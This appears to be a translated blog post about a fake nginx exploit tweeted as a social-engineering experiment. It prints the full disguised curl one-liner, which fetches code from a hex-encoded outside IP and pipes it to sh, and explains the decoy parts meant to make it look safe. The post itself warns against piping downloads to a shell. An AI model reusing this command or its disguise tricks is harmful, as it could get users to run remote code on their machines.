Կեղծ nginx-ի շահագործմամբ սոցիալական փորձի հաջողություն

Նշում. թարգմ.: Հեղինակ Հունիսի 1-ին հրապարակված բնօրինակ գրառման մեջ որոշվել է փորձարկում անցկացնել տեղեկատվական անվտանգությամբ հետաքրքրվողների շրջանում։ Դա անելու համար նա կեղծ շահագործում է պատրաստել վեբ սերվերի չբացահայտված խոցելիության համար և տեղադրել այն իր Twitter-ում: Նրա ենթադրությունները՝ ակնթարթորեն բացահայտվել մասնագետների կողմից, ովքեր կտեսնեն կոդի ակնհայտ խաբեությունը, ոչ միայն չիրականացան... Նրանք գերազանցեցին բոլոր ակնկալիքները, և հակառակ ուղղությամբ. թվիթը հսկայական աջակցություն ստացավ բազմաթիվ մարդկանց կողմից, ովքեր չ ստուգեք դրա բովանդակությունը.

Կեղծ nginx-ի շահագործմամբ սոցիալական փորձի հաջողություն

TL;DR. Ոչ մի դեպքում մի օգտագործեք ֆայլերի խողովակաշարը sh կամ bash-ում: Սա հիանալի միջոց է ձեր համակարգչի վերահսկողությունը կորցնելու համար:

Ես ուզում եմ ձեզ հետ կիսվել մի կարճ պատմությամբ PoC-ի կատակերգական շահագործման մասին, որը ստեղծվել է մայիսի 31-ին: Նա անմիջապես հայտնվեց ի պատասխան լուրերի Ալիսա Էսաժ Շևչենկո, անդամ Զրո օր նախաձեռնություն (ZDI), որ NGINX-ում խոցելիության մասին տեղեկատվությունը, որը տանում է դեպի RCE (հեռավոր կոդի կատարում) շուտով կբացահայտվի: Քանի որ NGINX-ը հզորացնում է բազմաթիվ կայքեր, այդ լուրը պետք է ռումբ լիներ: Բայց «պատասխանատու բացահայտման» գործընթացի ձգձգումների պատճառով տեղի ունեցածի մանրամասները հայտնի չեն. սա ստանդարտ ZDI ընթացակարգ է:

Կեղծ nginx-ի շահագործմամբ սոցիալական փորձի հաջողություն
Ծլվլոց NGINX-ում խոցելիության բացահայտման մասին

Ավարտելով Curl-ում մշուշման նոր տեխնիկայի վրա աշխատելը, ես մեջբերեցի բնօրինակ թվիթը և «արտահոսեցի աշխատանքային PoC», որը բաղկացած էր մեկ տող կոդից, որը ենթադրաբար օգտագործում է հայտնաբերված խոցելիությունը: Իհարկե, սա կատարյալ անհեթեթություն էր։ Ես ենթադրում էի, որ անմիջապես կբացահայտվեմ, և լավագույն դեպքում մի երկու ռեթվիթ կստանամ (օհ, լավ):

Կեղծ nginx-ի շահագործմամբ սոցիալական փորձի հաջողություն
Ծլվլոց կեղծ շահագործմամբ

Այնուամենայնիվ, ես չէի պատկերացնում, թե ինչ եղավ հետո։ Իմ թվիթերի ժողովրդականությունը կտրուկ աճեց: Զարմանալիորեն, այս պահին (հունիսի 15-ին Մոսկվայի ժամանակով ժամը 00:1-ին) քչերն են հասկացել, որ սա կեղծիք է: Շատերը վերաթվիթում են այն՝ ընդհանրապես չստուգելով այն (չխոսելով՝ հիանալով դրա թողարկած գեղեցիկ ASCII գրաֆիկայով):

Կեղծ nginx-ի շահագործմամբ սոցիալական փորձի հաջողություն
Միայն տեսեք, թե որքան գեղեցիկ է այն:

Թեև այս բոլոր օղակներն ու գույները հիանալի են, պարզ է, որ մարդիկ պետք է գործարկեին կոդ իրենց մեքենայի վրա՝ դրանք տեսնելու համար: Բարեբախտաբար, բրաուզերներն աշխատում են նույն կերպ, և զուգակցվելով այն փաստի հետ, որ ես իսկապես չէի ցանկանում իրավական խնդիրների մեջ ընկնել, իմ կայքում թաղված կոդը պարզապես էկո զանգեր էր կատարում՝ առանց որևէ լրացուցիչ կոդ տեղադրելու կամ գործարկելու փորձի:

Փոքր շեղում. netspooky, դնզ, ես և թիմի մյուս տղաները Ավազակային ամբոխ Մենք վաղուց արդեն խաղում ենք curl հրամանները խեղաթյուրելու տարբեր եղանակներով, քանի որ դա հիանալի է... իսկ մենք գեյքեր ենք: netspooky-ն և dnz-ը հայտնաբերեցին մի քանի նոր մեթոդներ, որոնք ինձ չափազանց խոստումնալից էին թվում: Ես միացա զվարճությանը և փորձեցի IP-ի տասնորդական փոխարկումներ ավելացնել հնարքների տոպրակի մեջ: Պարզվում է, որ IP-ն կարող է փոխարկվել նաև տասնվեցական ձևաչափի։ Ավելին, curl-ը և NIX գործիքների մեծ մասը հաճույքով ուտում են տասնվեցական IP-ները: Այսպիսով, դա պարզապես համոզիչ և ապահով տեսք ունեցող հրամանի տող ստեղծելու խնդիր էր: Ի վերջո, ես որոշեցի այս մեկը.

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Սոցիալ-էլեկտրոնային ճարտարագիտություն (SEE) - ավելին, քան պարզապես ֆիշինգ

Անվտանգությունն ու ծանոթությունը այս փորձի հիմնական մասն էին: Կարծում եմ՝ հենց դրանք են հանգեցրել նրա հաջողությանը։ Հրամանի տողը հստակ ենթադրում էր անվտանգություն՝ հղում անելով «127.0.0.1» (հայտնի localhost-ին): Localhost-ը համարվում է անվտանգ, և դրա վրա եղած տվյալները երբեք չեն հեռանում ձեր համակարգչից:

Ծանոթությունը փորձի երկրորդ առանցքային բաղադրիչն էր SEE: Քանի որ թիրախային լսարանը հիմնականում բաղկացած էր համակարգչային անվտանգության հիմունքներին ծանոթ մարդկանցից, կարևոր էր ստեղծել կոդ, որպեսզի դրա մասերը ծանոթ և ծանոթ թվան (և հետևաբար՝ անվտանգ): Հին exploit կոնցեպտների տարրերը փոխառելը և դրանք անսովոր կերպով համադրելը շատ հաջողակ է:

Ստորև ներկայացված է մեկ գծի մանրամասն վերլուծություն: Այս ցուցակում ամեն ինչ հագնում է կոսմետիկ բնույթ, և գործնականում ոչինչ չի պահանջվում դրա իրական շահագործման համար։

Ի՞նչ բաղադրիչներ են իսկապես անհրաժեշտ: Սա -gsS, -O 0x0238f06a, |sh և հենց վեբ սերվերը: Վեբ սերվերը չի պարունակում որևէ վնասակար հրահանգ, այլ պարզապես սպասարկում էր ASCII գրաֆիկա՝ օգտագործելով հրամաններ echo մեջ պարունակվող սցենարում index.html. Երբ օգտվողը մտել է տող հետ |sh մեջտեղում, index.html բեռնված և գործարկված: Բարեբախտաբար, վեբ սերվերի պահապանները վատ մտադրություններ չունեին:

  • ../../../%00 — ներկայացնում է գրացուցակից դուրս գնալը.
  • ngx_stream_module.so — ուղի դեպի պատահական NGINX մոդուլ;
  • /bin/sh%00<'protocol:TCP' - իբր մեկնարկում ենք /bin/sh թիրախային մեքենայի վրա և ելքը վերահղել դեպի TCP ալիք;
  • -O 0x0238f06a#PLToffset - գաղտնի բաղադրիչ, լրացված #PLToffset, նմանվել PLT-ում պարունակվող հիշողության օֆսեթին;
  • |sh; - ևս մեկ կարևոր հատված. Մեզ անհրաժեշտ էր ելքը վերահղել դեպի sh/bash, որպեսզի գործարկենք գրոհող վեբ սերվերից եկող կոդը, որը գտնվում է հասցեում: 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - կեղծիք, որին վերաբերում է netcat-ը /dev/tcp/localhostորպեսզի ամեն ինչ նորից ապահով թվա։ Փաստորեն, դա ոչինչ չի անում և ներառված է գեղեցկության շարքում:

Սա ավարտում է մեկ տողով սկրիպտի վերծանումը և «սոցիալ-էլեկտրոնային ճարտարագիտության» ասպեկտների քննարկումը (բարդ ֆիշինգ):

Վեբ սերվերի կազմաձևում և հակազդեցություններ

Քանի որ իմ բաժանորդների ճնշող մեծամասնությունը infosec/հաքերներ են, ես որոշեցի վեբ սերվերը մի փոքր ավելի դիմացկուն դարձնել իրենց կողմից «հետաքրքրություն» արտահայտելու համար, որպեսզի տղաներն անելիք ունենան (և զվարճալի կլիներ կարգավորել): Ես չեմ պատրաստվում այստեղ թվարկել բոլոր թակարդները, քանի որ փորձը դեռ շարունակվում է, բայց ահա մի քանի բան, որ անում է սերվերը.

  • Ակտիվորեն վերահսկում է որոշակի սոցիալական ցանցերում տարածման փորձերը և փոխարինում է տարբեր նախադիտման մանրապատկերները՝ խրախուսելու օգտվողին սեղմել հղման վրա:
  • Վերահղում է Chrome/Mozilla/Safari/ և այլն Thugcrowd-ի գովազդային տեսանյութին՝ shell script-ը ցուցադրելու փոխարեն:
  • Դիտում է ներխուժման/բացահայտ հակերության ակնհայտ նշաններ, այնուհետև սկսում է հարցումները վերահղել NSA սերվերներին (հա!):
  • Տեղադրում է Trojan, ինչպես նաև BIOS rootkit-ը բոլոր համակարգիչների վրա, որոնց օգտատերերն այցելում են հոսթին սովորական բրաուզերից (ուղղակի կատակում եմ):

Կեղծ nginx-ի շահագործմամբ սոցիալական փորձի հաջողություն
Անտիմերների մի փոքր մասը

Այս դեպքում իմ միակ նպատակն էր տիրապետել Apache-ի որոշ առանձնահատկություններին, մասնավորապես՝ հարցումների վերահղման հիանալի կանոններին, և ես մտածեցի՝ ինչո՞ւ ոչ:

NGINX Exploit (Իրական!)

Բաժանորդագրվել @alisaesage Twitter-ում և հետևեք ZDI-ի մեծ աշխատանքին NGINX-ում շատ իրական խոցելիությունների և հնարավորությունների օգտագործման ուղղությամբ: Նրանց աշխատանքն ինձ միշտ գրավել է, և ես երախտապարտ եմ Ալիսին իր համբերատարության համար այն բոլոր հիշատակումների և ծանուցումների համար, որոնց պատճառ է դարձել իմ հիմար թվիթը: Բարեբախտաբար, այն նաև որոշ լավ արդյունք տվեց. այն օգնեց բարձրացնել իրազեկությունը NGINX-ի խոցելիության, ինչպես նաև գանգուրների չարաշահման հետևանքով առաջացած խնդիրների մասին:

Source: www.habr.com

Добавить комментарий